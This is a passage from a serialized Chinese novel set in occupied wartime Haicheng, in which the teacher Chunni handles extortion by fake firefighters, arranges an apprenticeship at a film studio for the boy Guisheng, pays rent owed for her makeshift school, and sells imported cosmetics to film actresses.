她手忙脚乱地往外夹木块:“快快快, 快把柴灭了。” 常文远手上还抱报纸打算往里丢呢,怔道:“这不快引燃了吗?灭了多可惜?” 不等春妮回答,别墅的铁艺门外闯进来几个人:“就是这,快往这滋!” 几人像没看见院子里的春妮等人,两人拉开铁艺门,一人推着一辆小厢车直冲进门,一人拔开厢车顶部的龙头,另两人一人一边,压向厢车两头的杠杆,“滋滋”两下,水龙喷出一道水柱,一腔子的水全浇进春妮刚燃了点火苗的风炉里! 常文远从没见过这等阵仗,正好站在水车面前,闪之不及,手上抱的报纸也被淋得精湿,不由大怒:“你们这些瘪三闯到我家干什么?还有没有王法了?” 那几人却不慌不忙,站在水龙车旁跟他对喷:“唉,你这人怎么讲话?你自家在家里放火,我们救火队推来水龙给你灭了火,你还不高兴?什么道理?” 听见来人自称是救火队的,常文远很快冷静,打量他们片刻,冷笑道:“一没有铭牌,二没穿制服,你说是救火队就救火队了?何况我家自在院子里生火做饭,没报火警,有救火队什么事?你们冲进来一通乱浇,我还没找你毁坏我家财物的麻烦。” “嘿,你们家弄得弄堂里到处都是烟,还说没事?要不是我们来得快,你家房子都要点着。给你灭了火,你没说好好谢我们一谢,请哥几个喝口茶,还好意思跟我们在这叫唤?弟兄们——” “在!” “怎么?要在我家跟我耍横?”常文远扔了报纸,从腰后摸出一把枪。 那些人这才变了脸色,这年许以来,下到巡捕房警察厅,上到伪政府倭国军都忙着捞钱,出了事是指望不上他们的,因而里弄里杀人抢劫的事向来不少见。前天美国人飞来炸了一回,市井里谣言四起,倭国人偏偏还要粉饰太平,伪政府人心浮动,都吓得到处找门路,街面上的小事更没人愿意去管,才有了他们趁机搅浑水的机会。 搁在以前,他们跟这拿枪的小白脸周旋两句,试试他的深浅不在话下。现在就得小心些,就像他话里的含义一样,这里单门独户,又是他的地盘,就算他把人杀了,只要处置的快,再花点钱疏通,没谁来找他的晦气。到那时,自己这些人那可真叫死也是白 死了! 为首的人忙举起双手,紧张道:“误会,误会,张先生,我们兄弟就是赚几个辛苦钱,您要不高兴,我们这就走,快把这个收起来吧。”说着往后退去。 话说到这里,就连桂生也看出了这几个人不过是几个小混混,不屑地从鼻子里喷出口气。 常文远却收了枪,道:“等等。我有个问题想问。”见那几人迟疑,他从口袋中抽出一叠钱。 那几人接过钱,态度又好了不少:“张先生您问。” “这厢车水龙你们是从哪弄的?” “救火会啊。” “胡说,以为我没见过救火会的车?人家开的是大卡车,正经安装的有消防泵好吗?”这回插话的是桂生。 那几人对着小屁孩自然客气不起来:“你个小赤佬懂个啥,我们救火会的曹会长说了,最近城里事多,不少里弄长窄深远,消防车开不进去,特许我们从库里领了这些前朝的水龙车出来巡街,免得真有了什么事,连成片烧起来就不得了啦。” “那你们就连别人烧菜的火都不放过?” “啊这……你这也是有安全隐患的嘛。我们曹会长不是说了嘛,防患未然,防患未然嘛嘿嘿。” 那几个地痞走后,常文远去关了铁闸门,叮嘱几人道:“这几天不管我们在不在家,各处的门都紧紧锁好,外头也挂上锁头。有人敲门,不出声一律不开。出声的,听见是熟人再开,不认识的人通通装作自己不在家,知道不?” 另两人自然应下,春妮笑道:“也正好倭国人代我们停了水停了电,我们只要晚上别点蜡烛,到处都黑洞洞的,空城计也好唱。” 其他两人都笑了,常文远道:“可见你这阵子跟向四爷走得近,听过不少京戏了。怎么样,还打不打瞌睡?” 《空城计》是京剧经典须生剧目,搁在以前,春妮哪分得清什么空城计实城计。只是向四爷是武生出身,旧年身体常年有伤,由此他学了一手好推拿功夫,没事给自己和师兄弟们松活筋骨。因为桂生腰上的旧伤,她这几天不断天地去找他帮忙,求他出手帮桂生推拿治伤。向四爷如今入了电影公司,也没把旧行当全部抛开。春妮每回趁他下班或是休假回家去寻他,总见识他教几个孩子练基本功,打镲子敲大锣,再放个唱片什么的,他交游广阔,有时还与找上门喝酒的票友唱和几句,耳濡目染之下,她对京戏也了解了两分。 “演武戏嚓嚓嚓吵得跟打仗似的,哪还睡得着?”春妮叫桂生:“灶里灶外都叫这道水浇透了,先搁这晾半天,不用再生了,一会儿我们出去找个馆子对付一顿。” 说话间,旁边隔户的人家铁栅子门叫人撞得砰砰直响,刚刚从春妮这边出去的几个人呼呼喝喝地滋水枪,跟唱大戏似的叫着“走水了,快救火”,闹成了一团。 到春妮跟桂生换好衣服出门时,那几人还在旁边那家扯皮,叫道:“我不管,我们哥几个不能白辛苦一场,今天这救火费,你不给不行!” “哥你别跟他们急,反正兄弟几个天天有空,总要看着这家子,不能叫点起火来,把邻居们都祸害了不是?” “一出出的闹剧还没完了了。”桂生老气横秋地摇摇头,见春妮已经骑上自行车,赶紧快跑两步,猴上了后座。 这两天电车停运的路线也多,他们两个先在外头胡乱找个馆子,吃了碗酱油拌杂粮饭,再骑了一个多钟头,才算赶到向四爷在华界的家。 往常这个点,向四爷该吃罢晚饭,躺在他的躺椅上吞云吐雾,这会子却弯腰猫在房中唯一一张充作饭桌的棋盘桌前执笔描画着什么。 听见老婆招呼人,他搁下笔转过身来:“今天迟了些时辰。” 春妮看见桌上放着张写了一半的红纸,三言两语将出门前遇到的意外说了。向四爷紧张道:“还有这种事?他娘,那咱们也记得要防着些,这些天灶火别全熄了,省得早上生火被找上门讹钱。” 春妮道:“我看那几个水龙净盯着铺了煤气的人家,你们天天生火,用惯了炉子,不至于有这样的麻烦。再说了,四爷你家里一天到晚出入的都是棒小伙,一看就不好惹,这些人最有眼力劲,绝不会来找你的麻烦。” 向四爷却叹道:“小伙子有什么用?一个个生得牛高马大的,连杆笔都拈不动,叫我个老瓜瓤子挠破头皮。” 春妮好笑道:“您可别了吧,正当年的大男人,充什么老瓜瓤子。到底什么事,看把您给愁的。” “我们公司的新电影要上映了,这不是要宣传吗?制片给我们一人派了几张红纸,叫我们帮着写几张宣传广告到里弄张帖。我寻思我家那几个小子好歹也上了二年学,便要了几张回来叫他们写,也好给我长个脸。哪知道——你来看,这写的什么狗爬玩意儿,只怕连他们自己都不认识吧!叫我怎么有脸拿回去?” 这话春妮不好接,她凑过去看桌上的范例字。 这张范例纸上竖排共写三行字,头一列写的日期,第二列加大加粗写的电影和主演等名字,第三列则是“恭候惠顾”类似的话,并不复杂。她心里有了数,对向四爷道:“这是隶书字体,看着寻常,想写出名堂,比行草还考验功底。四爷要是不嫌弃,让桂生来给您写吧。” 向四爷怀疑:“他……能行?” 春妮对桂生一抬下巴:“你去写两个,让四爷评评。” 桂生的水平,春妮是知道的。别看在乡里上不了学,但他爸以前教国文,最重视孩子的国语书法教育。师母回乡之后,念着自己不能坠了方家书香之家的名头,其他的没地方学,宁肯自己多做点农活,也要留出孩子们读书的时间,狠盯着兄弟两个练字。乡村闲居时间多,他这笔字是实打实汗水浇筑来的。 向四爷不会写但有见识,桂生一提起笔,他眼睛便是一亮,又见他笔势流利,写出来的字圆转秀美,个个看着舒泰,待他搁笔,忍不住喝了声:“好!” 他像是才认识桂生似的拉着他:“你这小家伙,深藏不露啊。写字有几年了?师从哪一家?” “从五岁开始写,到今年有十年了。没拜过师,就是拿家里祖上积攒的《曹全碑》和《孔宙碑》摹帖胡乱写的。” “哎哟,这是书香之家,不简单。学过画没有?” “也是胡乱画过两笔。这两年在村里没处买颜料,白描多一些。” “那给我画两笔看看。” 因春妮每回都是晚上才过来,夜里宵禁时间早,他们都是推拿完之后,匆匆忙忙地离开,两边并没有像今天这样深聊过。 今天一谈之下,向四爷颇感惊喜,一套推拿下来,他竟拉着桂生,对春妮道:“你家的这个弟弟,我实在喜欢。听你说他现在没个营生,也没地方读书,你要是不嫌弃,不如先给我做个徒弟怎样?” 第217章 217 租金 桂生这几天跟春妮早出晚归, 为的是什么?不就是学手艺找个师父么? 闻言,他喜动颜色,倒还晓得先去看春妮。 春妮却没像他那么高兴, 她跟程老板认识好 些年了, 对曲艺界知道的比他多。因而问道:“四爷,你莫诓我。我记得你们武生行当,最早三四岁,最晚七八岁就得练起来,桂生今年都十五了,他当你的徒弟,年纪有些大了吧?” 何止是年纪大, 骨头都长得定了形。这时候去学武生,学个半会不会的, 不是坑人么? 向四爷当然不能做这不厚道的事,他攥着桂生的手,生怕他跑了一般,笑道:“你以为我留桂生在身边, 是想叫他做武生?怎么可能?你看他这双手,是多好的练字的手, 哪能让他去练武练坏了骨头?” “那您的意思?” “我如今在电影公司,大小也是个师父。只是新入行,偏偏公司里文化人多, 像今天开个会,要记精神, 明天写个宣传字,画个画什么的,文化的事太多, 我身边又都是大老粗。嘿嘿,这不是桂生在这,我就厚着脸皮来问你啦。” 春妮听懂了,向四爷其实是想要桂生去做秘书类的活,不过不好意思说自己没文化,便想以徒弟的名义带他在身边,万一遇到了此类事,他也好有个人能参详。 他们曲艺界以前管这种出主意做杂行的,有个称呼叫“跟包儿”。不过当跟包儿还要帮主家管衣裳杂物,说白了,干的就是仆役下人的活。海城电影行自诩是新派行当,不可能再跟旧行当混作一谈。依桂生的资历和出身,进电影公司做正式职员还远远够不上。向四爷一心想留桂生下来,一时想不到名头,含糊给了个徒弟的名义。 向四爷跟春妮合作这长时间,对彼此的人品也算了解一些。向四爷性格爽朗大方,给他做徒弟,哪怕不当入室弟子,日子也不会难过。 但春妮天天带着桂生来他家,偏偏没想到求他,除了以上原因,还有一条顶顶要紧的。 “你们公司里是倭国人说了算,还是华国人说了算?” 别看海城如今电影市场看似火爆,其实因为战争,菲林稀缺,倭国人还收缴了极大一部分,如今总共就一间电影公司。虽说他们拍摄的电影很少涉及政局,也很少有明显的媚倭倾向,但每回电影播放正片之前,大银幕里首先要放一段倭国人战争胜利的纪录片。大伙也渐渐明白,这间公司后边必然有倭国人的影子,只是倭国人在里边起了多少作用,行外人也只是猜测。 向四爷自己都是才进公司没几个月,这些事他还真没注意,一时间被问住了:“这……有什么打紧吗?” 春妮神色肃然,道:“一直没跟您说过,桂生这孩子他爹就是叫倭国人抓进牢里去的。他兄弟几个立誓不给倭国人做事,如果电影公司是倭国人的,那您就不用叫他去了。” “这样啊……”向四爷神色为难:“就我来看,我们公司里做事的人中是没有倭国人的。至于我们老板跟没跟倭国人有私底下的操作,这我就不敢打包票了。” 春妮就问桂生:“你是怎么想的?” 桂生想起自己回海城后仅有的一次看电影,坚定道:“反正我不给倭国人做事。” 向四爷忽然笑起来:“真是说的孩子话,给我当徒弟怎么叫给倭国人做事?你看我是倭国人,还是你这婶婶是倭国人?” 桂生抿着嘴不说话。 最后春妮为他转圜道:“不如这样,四爷你明天先带着桂生去片场看看再说。要是桂生觉得不好,咱们就再说,怎么样?” 桂生想了想,点了下头。 ………… 因为不算正式拜师,第二天桂生去向四爷家时,春妮只给他准备了身干净衣服,送他去搭电车,自己照常去了学店巡校。 除了倭人学校,包括教会学校在内,现在全海城都没有学校开学。有头脑灵活的人家在临街的位置盘下一个店面,收几个学童教读书认字,时人称之为“学店”,看上去跟春妮先前办的流动学校差不多。只是春妮办流动学校,一般只瞅准饭馆,咖啡厅这样有用餐高低峰的店面,一天的学时没有正经学店那么长,还经常被要做生意的老板中途清走。 这回度日艰难,便有老板动了心,硬说春妮开的也是学店,要付他们租金。 学校当时为方便管理,好不容易协调开在一条街上。此刻一家若是给了钱,其他家必然要跟上,一笔一笔的加起来,就不是个小数目了。春妮实在舍不得掏钱,借给桂生拜师这事在家里躲了几天,但昨天蒋四成偷偷来给她报信,说那些老板们联合起来放下话,说要是她再不付租金,学校就不用再开下去了。 春妮赶到地方时,半条街已经闹得沸反盈天。几个老师护着大群学生,跟商贩们正在对峙。 看见春妮出现,两边人都像看见了救星,奔过来将她围住:“顾老师,你可来了,今天你有什么说法?筹到钱了没有?” “这租金你可不能再拖下去了,我老王就指望着这点钱付米粉的帐呢。” “就是说嘛,不是我不想做好事,实在是做不起了啊。” 说话的老板满脸羞愧,却堵在春妮面前动也不动。 谁能想到,占着码头这块黄金地头,日进斗金的饭馆茶楼老板们会有巴望着春妮给的这点仨瓜俩枣的一天? 当年学校被查封,这些老板们雪中送炭,答应收留学生们,让出自己的经营场所供他们临时读书。正因如此,春妮也拉不下脸跟他们算计这点钱。 即使知道这钱不得不出,要从自己口袋里拿出来,春妮还是割肉似的疼。 不为别的,她的空间里,已经花得只剩下两条大黄鱼。 虽然找了个给外国人卖货的活,但就算那些外国人手里有钱,被关在里边只出不进,外边还有倭国人虎视眈眈,谁敢敞开了花?他们赚的这几个,也只勉强够买几袋子黄豆荞麦等杂粮,再买些粗盐,给学生们熬几锅野菜杂粮粥。 所以以前学里一天还给供一顿野菜窝头,现在这顿干的也供不起了。但再怎么省,老师的薪水,学生的铅笔,粉笔等必须的支出总不能省。还有学生老师生病有急事,总得资助两个出去。想守住这点钱,除非她属貔貅。 上回贝格跟春妮哭穷,还说过大富豪哈尔的养子守着半条吴江路的房产收租金都快饿死,也不知道他打哪打听来的。 哈尔是海城有名的犹太人富商,他早在上个世纪末期就到了海城。从做房地产起家,到他死的时候,妻子继承的遗产光缴税都缴了近2000万大洋。最鼎盛时,海城几条最繁华的百货街都是找他家盖的房子,他也借此囤积了不少商铺,传说大半个吴江路都是他家的。 但现在吴江路泰半的商场要么歇业,要么门可罗雀半死不活,还有不少夜里关张,第二天人去货空,留下一屁股欠债逃之夭夭的,租金自然也不了了之。 租房亏钱,不租房更亏,说房东们的日子也不好过,她是信的。 “各位别着急,钱我肯定给,只是都别堵在路上,先让学生们上课好不好?我人在这跑不了。怎么个给法,咱们得先定个章程吧?” “顾老师有什么想法?” “我的意思,是大伙的房子有大有小,有好有坏,价值必然也有区别,那租金肯定也须依此有所浮动,你们没意见吧?” “……” 管理庶务就是这样琐碎烦神,春妮跟那些老板们磨一天的嘴皮子,嗓子都喊哑了,仍是出了三十多块钱,才算把这个月的租金对付过去。 这些钱都是白花花的银元,六七十个就能兑一条小黄鱼。也是她手上除了那两根大黄鱼之外,所仅剩的一些零钱。 她倒想给法币和中储券,但这种钱现在跟擦屁股的纸没什么分别,大伙都不肯要。最后她拿银元和法币掺在一起,两边差点撕破脸,只好各退一步,勉强算达成了协议。 跟人吵了一天的架,春妮午饭没怎么吃。看看时间,电影公司那边下工的时间也快到了。向四爷说,他这段日子在大世界旁边的外景地出外景,就在英人越界筑路处,离学校并不远。她索性骑上自行车,去接桂生一起下班。 她在园门口跟看门人说自己是来接弟弟下班,看门人问过名字之后,给她指了个方向就挥手放行了。 电影公司的外景地以前是一处富商的花园,后来被公司老板租借过来,改造成一处微缩景点,里面浓缩了全国各大有名景点。在园成之际,老板宣布此园对外开放游览,引得全城轰动,每天来参观的民众络绎不绝。待到热度下去,钱赚得差不多后,他又将这处园子收回来,专门做公司的拍摄外景地。 因此此园总面积不大,但路径是有些复杂的。而春妮根本不舍得花钱逛园子,也就一直没进去参观过。 因 为倭国人的宵禁,这会儿各公司下班下得都早。春妮走了一二百米都没见有其他人能问路,反而越走越僻静。她心里有些打鼓,怀疑是那人给她指错了方向。 这时,忽然听见一声女人的哭泣。这声音幽幽咽咽,离得有些远,要不是青天白日,春妮差点疑心撞了鬼。 那声音泣道:“你要走,就再也别来见我了。” 一个男声道:“云儿,你莫为难我好不好?我,我不走不行。” “那你走啊。” 听到这里,春妮以为又是些痴男怨女玩的情趣,正打算离开,那男声忽然道:“你知道的,王主席上个月死后,我的日子就不好过。现在倭国人快撑不住了,我再不走就走不了了啊。” 王主席……美国人……她倒是知道,伪政府那个王季新主席上个月死在了南城,难道这人说的是他? “那你就狠心扔下我?” 这时,另一边传来数人大声说笑走动的声音,立刻惊动了说话的那一男一女。 男人立刻道:“我是偷偷来找你的。你赶紧出去,把其他人引开。” 春妮急忙闪到一座假山背后,几乎是同时,一个女人从假山前方的月洞门里走了出来。 那个女人穿着条修身的织金丝绒旗袍,右肩斜披条黑色水貂皮坎肩,头发梳成堆云状。她左右看了看,也朝假山这个方向走来。 第218章 218 走 走了没两步, 那女人突然像想起什么,从腋下抽出一条手帕,沾去脸上的泪痕, 又从坤包中掏出一块带镜子的妆饼, 仔细地在脸上按按点点,聚精绘神地补起妆来。 她时间掐得刚刚好,这边整理得差不多,那边人也走了过来。有人跟她打招呼:“云姐还没走?” “不是等你一起走么?” 这女人眉眼乱飞,娇言软语说得几个男人纷纷笑起来:“知道云姐你来等我,我会不会被你男朋友打?” “好端端的说他干什么。” “云姐这是跟男朋友闹了脾气?” 春妮度量他们行进的方向,埋伏在假山中间, 趁人群不注意,装作是跟这些人一道的, 蹭着边混了进去。 桂生这小呆子,直到出了园门,春妮走到他身后,将他拍醒才惊喜道:“春妮姐, 你怎么来了?” “来接你啊。那女人是谁?”她点点那云姐的背影,后者正手臂搭在一个男人的肩上, 等他给自己开车门。 “她就是李曼云啊,姐姐不认识?” 桂生一说这个名字,春妮就对上号了。这个叫李曼云的女人在海城的名头极响, 不下于顶尖的歌星明星,但她的名声并不是靠作明星赢来的。她本来确实是一个电影演员, 先前专门在各种大制作电影里做女二号女三号,也混了点面熟,离大明星还差得远。 海城全部落到倭国人手里后, 倭人最开始应该是对电影界有些想法。在占领之初,找来一帮汉奸文人写了个叫《万古芳华》的剧本拍成了电影,李曼云就在电影里饰演跟倭国武士相恋的女一号渔家女。这电影内容大略是一名倭国武士东渡,在海洋上遇到一艘白人海盗船正在劫掠一艘渔船。这渔船正是一艘华国渔船,接下来自然是武士行侠仗义,将渔船和渔船上的人全部救下,并赶跑了白人海盗船。 这部电影公映后,倒没怎么迎来很大的舆论攻击,毕竟那时候海城的新闻媒体也都落在了倭国人手中。但他们总不能绑着观众,从观众口袋里掏钱买票。这就导致了海城观众用脚投票,上座者寥寥,放映效果实在不佳,之后,草草收场。 类似的洗脑片,倭国人又拍摄过两部。但拍一部赔一部,时间一长,这事就不了了之了。 但因为《万古芳华》是第一部汉奸影片,海城观众口耳相传,提起来,谁不暗中唾骂那几个软骨头演员导演?李曼云作为当之无愧的女主角,就是这样出的名。 不过《万古芳华》扑街后,她好像没受到什么影响,至少拍戏的机会和曝光度是一点也没少,过得也挺滋润的样子。 “那你今天在片场里感觉怎么样?有没有受委屈?吃饭怎么解决的?” 眼角余光瞥着李曼云坐上那辆黑色别克汽车,春妮回过神来。 “四爷挺照顾我的,他是做武行的,没谁敢欺负他。饭是公司包的,我吃的三等饭,有菜有蛋,挺丰富的。” “想在这做?”春妮望着他的表情,心里有了数。 “先做着吧。我今天问了几个老人,他们都说这里平时是看不到倭国人的。拍摄什么,全是老板说了算,应该公司不是倭国人的吧?” 桂生是红着脸说完这些话的,小男孩的世界很简单,觉得自己这么快推翻了昨天的承诺,有些不好意思说出口。 春妮假作不知,点头道:“也好。现在海城的各产业中,只要能赚钱的,哪一行没有倭国人影子?现在能找到份糊口的事不容易,只要同事不干涉你做事,没有倭国人欺负你,逼你做违背祖宗道德的事,这差事就做得。” 说着,她想起给方师母找药的事。现在的海城医院关键岗位都有倭国人,严重的时候,那些医生开的药方每一张都要经过审核,如西药和止血药更是难拿。即使链霉素能到海城来,只怕也无法通过正常渠道。而地下渠道的西药,哪一种没炒到天价? 趁热打铁,春妮当即带桂生去街上买了盒哈德门和一壶状元红作为拜师礼,去了向四爷家。 非常时期,即使桂生答应拜师,仪式和拜师礼也只能简办。 在向家供奉的关二爷神像前,向四爷喝了盅桂生敬的酒,拜师便算成了。 向四爷这里也准备了一些酒菜,拜师礼毕,师徒和向家人重新落座,名份既定,再就随意多了。 几人边吃边聊,主要是向四爷在说。话题从旧京武生行到海城戏曲剧院,最后聊到向四爷现在正在做的电影武行。 春妮跟普通人一样,对距离普通人较远的电影行业难免好奇,问了几个拍戏的问题,话题渐渐延伸到向四爷正在拍的这部戏的主要演员身上。 “我瞧现在百货公司的化妆品柜早就开不起来了,你们那些演员的脂粉都是打哪来的啊?”她对李曼云下午拿来扑来扑去的粉盒印象深刻。 “哈哈,你们姑娘家果然最喜欢那些脂啊粉的。不过你要问我旁的,我可能答不上来,但这个事,我前两天正好听那些女明星才吵吵过,说公司新发的倭国货粉太粗不好用,闹着让经理重新采购。” “那换了吗?” “哪有那么容易?”向四爷撇嘴:“整天封着城。别说最好的美国货,就连谢馥春和戴春林这样的国货都进不来,能有倭国货给她们用,这些娘们儿还挑剔,是真不知道柴米贵。” “当家的,怎么说话呢?”向四婶听他说话粗俗,不禁嗔了一句,对春妮歉道:“顾小姐别在意啊,他这人一喝酒就喜欢乱说话。” “去去去,老爷们说话,有你什么事?吃完了赶紧去老虎灶打桶热水来给孩子洗澡。” 向四爷许久没有像今天这样这样畅饮,尽管状元红并不醉人,一坛子下去,也让他有了不小的醉意,说话放诞了不少。 春妮却没空留意这些,她惊喜道:“你们电影公司也买不到化妆品了吗?” 她这样的表情……向四爷酒立刻醒了一半:“你是不是有门路?” 春妮:“……”这个向四爷,不去做生意,真是屈才了。 “也不算门路。”她决定实话实说:“我几年前去港城出差,囤积了一批香水妆粉和口红打算有机会出手,但后来事情太多,我就把这事搁置了。要不是今天听四爷提起,我还想不起来。” 她还真有门路! “你的那些妆粉口红是什么牌子的?”向四爷兴奋之余,不忘先问清底细。 “娇兰,丹祺,蜜丝佛陀……这个您放心,一水儿的外国货,不会有假。” 当年她在港城跟先施百货的柜哥姚根发搭上线,原本只打 算从他手里弄点香水带回海城。后来又交易过几次,见他那里有一些其他护肤化妆品的小样和孤品,本着外国货不会难卖的自信,一股脑全收了下来。谁知东西带回海城后,雪花膏被老师们一抢而空,唇膏和香水也卖了不少,其他的东西却卖不太动。 毕竟是老师,消费能力有限。其他的东西,她本打算有时间之后再慢慢寻找销路,不想后面事情越来越多,这件事被她越排越靠后,到最后竟是彻底给忘了。 也是这时候的化妆品飘洋过海,时间成本很高,检疫检测也没跟上来,还没有生产日期和保质期这一说,她才敢跟向四爷打这样的包票。否则即使她的空间不腐不朽,放在里面不用担心变质问题,但东西的生产日期太久,讲究的人说不定就会嫌弃。 向四爷果然也没问她日期,开始说:“那给我看看,我看能不能弄点——”这话说出来,他自己先知道了不妥。战前这些东西都要好几个大洋才买得到一支,现在正是外国货稀缺,有价无市的时候,他想看没问题,想拿货的话,只怕没有小黄鱼打底,是吃不下来的。 这么贵重的物品,更不方便先拿货后付帐。 他立刻改口道:“那你明儿个一早到外景园子等着我,要是真好的话,我帮你去说。” 春妮等的就是他这句话,当即大喜:“那我在这先谢谢四爷了,要是能做成生意,我给你提成。” 她空间里的化妆品不多,真若能全部出清,也能卖出个几条小黄鱼。顺利的话,至少往下三个月,学校的租金是不用愁了。 第二天早上,春妮按照约定赶到地方时,向四爷已经等在了门外。 “我帮你跟玉姐和欣姐问过了,她们都很感兴趣。你快着点,趁现在还没开工,把东西先给她们看看。” 这时候演员拿的是月薪,他说的玉姐和欣姐都是目前这部电影的女主演,其中玉姐成名已久,传说每月的月薪高达银元800块。欣姐是新人,才演一部戏就红了,势头也不弱。 几位演员的化妆间就在一进园区不远处的两间仿苏式园林的厢房里,春妮记着向四爷的叮嘱,进门不多废话,拿出香水等物摆在化妆台上,让两个女明星挑选。 两个女人都很开心,玉姐出手很大方,挑了两支口红,一罐指甲油和两盒蜜丝佛陀的妆粉,又开始试喷香水。 欣姐却磨磨蹭蹭的,挑了这个,问了价钱后放下来,又拿起另外一个,跟春妮磨价:“小阿妹,你便宜些啦。” 春妮知道她们都是有钱的主,哪肯轻易松口。不过她开的价本就是预防有人杀价,两人正在一分一厘地争执,旁边玉姐已经挑好东西催促道:“你快一点,迟了导演该催了。” 欣姐却不在意:“不用急。我们买的这些东西,还不知道公司给不给报帐,能少花点钱就少花点最好啦。再说我昨天问过导演啦,今天先拍坤哥跟云姐的戏,我的戏要到十点去了。” 玉姐脸色不太好看:“导演真是这么说的?他又不是不知道,云姐最爱迟到。都快开工了,还不见她的人影,难道又要全剧组等她一个人?” 欣姐神秘地笑了笑:“这你就不用担心啦。我敢保证,今天云姐绝不会迟到。” “你怎么知道?” 欣姐向旁边看了看,其他人都已经出去做开工准备,只有今天武行带来的这个卖化妆品的顾小姐,她一声没吭地在收拾桌面上她们挑剩的东西,看上去是个不爱传话的人,便压低了声音,道:“她的那位要倒台了,以后她再犯错,公司可不会再容她。” “那位?你是说谢先生?” 欣姐却拍了她一下,暧昧地笑道:“你知道我说谁的,谢先生一个小白脸,有这么大面子吗?小阿妹,这支口红别收,我要了。” 玉姐的笑容也变得暧昧了:“哦?那位啊,你是从哪听说的?” 欣姐的声音更低了:“昨天有人看到那位来找她,听见那位亲口说的,要云姐跟他一起走。” “他要走?也是。美国人要打过来了,他是海城政府的秘书长,大靠山也死了,不走肯定要吃枪子儿。但云姐肯跟他走吗?” 春妮听到这里,才能肯定昨天来找李曼云的男人必然是王少正,大汉奸王季新的弟弟。能攀上这样的人物,难怪李曼云在电影公司混得不错。 “这我哪知道?不过我要是云姐,肯定不会走。那边大小老婆能凑几桌麻将,跟他走干什么?凑麻将搭子吗?” 玉姐笑得直打跌:“你这张嘴啊……”顿了顿又说:“可云姐不想走也不行吧?那位我听说是青帮传香堂主,手里有枪又有人,云姐哪拧得过他?” 这话刚一落地,门口忽有人冷笑:“哟,这又是在编排我什么呢?” 第219章 219 划算 玉姐不愧是演技过人的大明星, 听见来人声音,她从容笑道:“还不是怕你又迟到,被导演找麻烦?” 李曼云哼道:“别以为我不知道, 你们没人盼我好。” 玉姐微微一笑, 并不跟她抬杠,挽着欣姐出了门。 李曼云恨恨瞪着二人离去的方向:“一个个的全都门缝里看人。哎,你,你干什么的?我怎么没见过你?”她后边这句话问的自然是春妮。 “是向四爷介绍我来的。我这里有些进口的香粉口红,拿来给姐姐们,看姐姐们有没有喜欢的。”春妮收好东西,也打算出门了。 “既然是送东西来给我挑的, 怎么我一来就收走了?你怕我没钱给你?”李曼云现在看什么都不顺眼,就是想找人吵架。 春妮对潜在金主, 耐心一向不嫌多:“我是刚刚听几位姐姐说,云姐你的戏马上就要上了,我怕你耽误你的事。” 跟配合好了似的,她刚说完话, 外面就有人叫:“李曼云?李曼云还没来吗?” 李曼云不耐烦地应了声“来了”,转头又对春妮道:“那你在这等着, 我下了戏再来找你。”说完,匆忙拿粉盒往脸上扑了两下,拉好披肩走出了门外。 春妮不置可否, 收拾好东西走出化妆间。 出景区大门必经的林荫小道上,场务已经清场, 摄像机正堵在路口。整个片场除了摄像机胶片转动的声音,其他人都安静地开始了工作。 春妮想了想,自己跟钱又没仇, 反正暂时出不去,听李曼云的话,等她一会儿也没什么。 然而今天的拍摄好像很不顺利,开拍没一会儿,导演连喊了几声“咔”,最后直接气得大骂:“李曼云你怎么回事?台词说的结结巴巴的,到底还想不想拍?” 李曼云脸色一沉,所有人几乎都以为她立刻要大发脾气。她僵着脸,硬梆梆地说:“对不起导演,我今天有点进入不了状态,能不能再给我一点时间?” 导演不耐烦地挥挥手,向窃窃私语的人群吼道:“都围在这干什么?下一组准备!” 春妮远远的看李曼云走到一棵女贞树下点了颗烟,抽了没两口,眼睛一亮,向站在不远处的向四爷招招手,两人走到一起,低声交谈起来。 李曼云不知道跟向四爷说了什么,对方连连点头,兴奋得直向她比划。 春妮皱了 皱眉,看两人相视一笑,都露出开心的神色。 这时,导演又在催促李曼云,她高声应着“这就过来”重新走回了片场。看她气色,明显比上一场离开前好了不少。 她想不出有哪里不妥,悄悄绕到向四身边,低声问他:“四爷,刚刚我看见李曼云在找你,是有什么事吗?” 向四爷专心盯着片场,没注意她的神色:“也没什么事。云姐说最近太乱了,想问我借几个人给她当保镖。” 向四爷收了不少个徒弟,一般在梨园行干活,但都没唱出什么成绩,也就是在戏台上跑跑龙套。最出息的那个,在一间不大不小的剧院里改行唱了末角。这些人有功夫底子在身,就算比不上真正的练家子,比一般人还是灵活得多,因此,没活干的时候也会找些看场子保镖的活给人充个场面。 “你没答应她吧?” “干嘛不答应?”向四爷觉得这是个不错的差事:“她肯给美金呢,一天都有十块钱。这不是桂生拜了师吗?又都在一个剧组,你放心,我少不了他的好处,叫他跟云姐跑两天见识见识。她不是玉姐,咱们不用替她挡影迷。让桂生和他几个师兄送她回个家,最多在她家值个夜就够了。” 他显然还不知情。 春妮将之前在化妆间听到的消息低声跟他说了,劝道:“这个时候李曼云要请保镖,谁知道她打的什么主意?要是她不想走,躲在你们身后跟姓王的闹,你经得住吗?这种事显然是咱们掺和不了的,四爷还是找机会快些辞了吧。” 向四爷“啊”地一声:“还有这种事?我一直以为她跟的是我们制片。行,我一会儿就给她推了。” 这人什么男女关系,也太乱了…… 因为向四爷答应得爽快,春妮没在这事上多放心思。估摸着这边还得好长时间忙,随便挑了一条没人走的路,打算趁这个机会好好逛逛园子。 向四爷待的虽说是海城目前唯一的电影公司,但偌大一个园子,竟然才有两个剧组同时开拍。春妮出去逛了一圈,没遇到什么人来拦她,还顺便又逛到另外那家剧组,卖了一根口红,一罐生发油和一管睫毛膏。 她数着怀里的银元,心里美滋滋:有钱人的钱赚得也太容易了!看来她以前赚钱的方向没找对。四爷不是梨园行出来的吗?说不准还有些老关系,哪天再请他穿个线,到剧院的后台再转转,这些东西说不定真的能卖空,还能增加点新品种卖给他们。 回剧组的小路上,向四爷站在路口。看见春妮过来,他急忙迎上来:“李曼云那个女人她不答应。” 春妮看见他的表情,就知道不好:“她怎么说的?” “还能怎么说?骂我狗眼看人低,又说是不是大伙都以为她好欺负,连我也来欺负她。”向四爷一脸晦气。 其实李曼云的原话更难听,那女人威胁他说,要是他敢糊弄自己,就去制片面前吹风,让他在剧组待不下去。只是向四爷一个大老爷们儿,哪里对春妮说得出口这种没面子的事? 但另外一件事,他是无论如何也瞒不了的。 “她特地点了桂生,要求桂生必须贴身保护她。” 春妮沉了脸:“她非拉着桂生一个小孩子干什么?你跟她说,桂生就是来剧组帮两天忙的,帮完忙就不来了,给她派别人去。” 